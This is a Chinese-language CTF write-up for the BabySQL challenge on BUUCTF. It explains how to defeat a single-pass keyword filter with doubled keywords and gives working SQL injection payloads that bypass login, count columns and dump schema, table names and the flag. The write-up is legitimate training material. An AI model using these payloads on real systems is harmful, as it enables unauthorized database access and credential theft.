[极客大挑战 2019]BabySQL解题详解:双写绕过实战
BUUCTF在线评测(靶场位置)
进去直接搜索标题BabySQL即可
> 难度:⭐⭐⭐ 进阶
> 考点:SQL注入、关键字过滤、双写绕过(Double Write Bypass)
> 前置要求:建议先做完 [极客大挑战 2019]LoveSQL
> 适合人群:已掌握基础Union注入,想学习WAF绕过的初学者
前言:什么是"过滤"和"绕过"?
上一篇博客《[极客大挑战 2019]LoveSQL解题详解:从零学SQL注入》我们学会了基础的Union注入。但现实中的网站不会坐以待毙,它们会部署**WAF(Web应用防火墙)**或代码层过滤,把危险的SQL关键字(如`or`、`union`、`select`)直接删掉或替换。
BabySQL这道题就是模拟这种场景:服务端过滤了几乎所有关键SQL关键字。
但出题人留下了一个"后门"——过滤逻辑只执行一次。这就给了我们双写绕过的机会!
题目信息分析
打开题目,依然是熟悉的登录框。但页面提示更"强硬"了:
> "我已经对网站进行了严格过滤,请做好心理准备"

这说明:
1. 万能密码可能直接失效
2. `or`、`and`、`union`、`select`等关键字大概率被过滤
3. 需要找到**过滤规则的缺陷**进行绕过
第一步:探测注入点与过滤规则
1.1 测试基础注入
先尝试最基础的闭合测试:
用户名:admin' 密码:123

登录后看到SQL报错(`near '123''),说明是字符型注入,单引号包裹。

1.2 测试万能密码(预期失败)
尝试经典万能密码:
用户名:admin' or '1'='1' # 密码:123
这里依旧使用Hackbar扩展 Load URL后直接在URL上加上参数or '1'='1' #

回显报错,这应该是#号将password给注释掉了,猜测语句中会监测密码栏不能为空,因为被注释后密码栏为空,因此提示输入你的用户名和密码。
因此我们修改一下万能密码,将或判断条件放在密码栏
用户名:admin 密码:123' or '1'='1' #

报错,这里只有or被过滤后才可能会出现报错
原理分析:
服务端有个过滤函数,大概长这样(伪代码):
$input = str_replace("or", "", $input); // 把or换成空
$input = str_replace("and", "", $input); // 把and换成空
...
第二步:双写绕过原理与实战
2.1 什么是双写绕过?
既然过滤只执行一次,我们把关键字写两遍:
-
输入:
oorr -
过滤后:删掉一个
or,剩下or
就像魔术:你拿走一个,我还剩一个!
2.2 万能密码双写版
构造payload:
用户名:admin
密码:123' oorr '1'='1' #

得到密码:84e447b1c3fce49f90754fe69871fdf4(order by测试列数是需要用到,也可使用union联合查询直接手动测列)
执行流程:
-
输入:
admin ' oorr '1'='1'# -
过滤后:
admin' or '1'='1' #(删掉中间一个or) -
SQL拼接:
SELECT * FROM users WHERE username = 'admin' AND password = '123'or '1'='1' #' -
结果:登录成功!
⚠️ 避坑指南:双写时要确保两个关键字连在一起,中间不要加空格!写
o or r会被分别过滤掉。
第三步:确认被过滤的关键字清单
在继续之前,我们需要知道到底哪些词被过滤了。通过试错法:
| 测试payload | 报错 | 结论 |
123' oorr 1=1 # | near '1=1#'' at line 1 | or被过滤 |
123' order by 3# | near 'der 3#'' at line 1 | or、by被过滤(order里有or报错中也缺少By) |
123' union select 1,2,3# | near '1,2,3#'' at line 1 | union、select被过滤(双写select后依旧报错并加上了select) |
123' uniunionon selselectect 1,2,from 3# | 登录成功并在3位置回显3 | from被过滤 |
123'uniunionon selselectect where 3# | 登录成功并在3位置回显3 | where被过滤 |
第四步:双写版Order By测列数
双写绕过pylaod:
check.php?username=admin&password=84e447b1c3fce49f90754fe69871fdf4' oorrder bbyy '3' %23

回显登录成功,得到结论:表有3列
第五步:双写版Union联合查询
5.1 构造双写Payload
/check.php?username=admin&password=' uniunionon selselectect 1,2,3%23

根据回显得到结论:第2、3列是回显位,可以用来显示数据。
第六步:双写版脱库(核心环节)
现在所有操作都要双写,记住这个规律!
6.1 爆数据库名
/check.php?username=admin&password=' uniunionon selselectect 1,2,database()%23

结果:geek
6.2 爆表名(重点:from、information中的or以及where需双写)
/check.php?username=admin&password=' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23
关键字替换:
-
frfromom→from -
infoorrmation→information(or被过滤) -
whwhereere→where

结果:b4bsql,geekuser
🎯 经验之谈:看到
b4bsql这种奇怪命名,Flag大概率在这里!
6.3 爆列名(字段名)
/check.php?username=admin&password=' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23

结果:id,username,password
6.4 爆字段数据(拿Flag)
注意:password里有or,也要双写!
/check.php?username=admin&password=' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23

结果示例:flag{c229bb41-13fc-4b04-9433-d983c283ca56}(每个人的不一样)
不好复制直接Ctrl+U查看源码页面复制
给初学者的建议
-
理解过滤逻辑:双写绕过只适用于单次替换的过滤,如果服务端循环过滤或正则匹配,可能需要其他绕过方式(如大小写、编码、注释内联)。
-
细心观察报错:报错信息是判断过滤规则的金钥匙,看到
der就要想到or被滤了。 -
系统化测试:建议做个Fuzzing字典,批量测试哪些关键字被过滤。(可以使用Burpsuite批量测试)
-
关注嵌套关键字:
order、information、password这些词里藏着or,很容易被忽视。









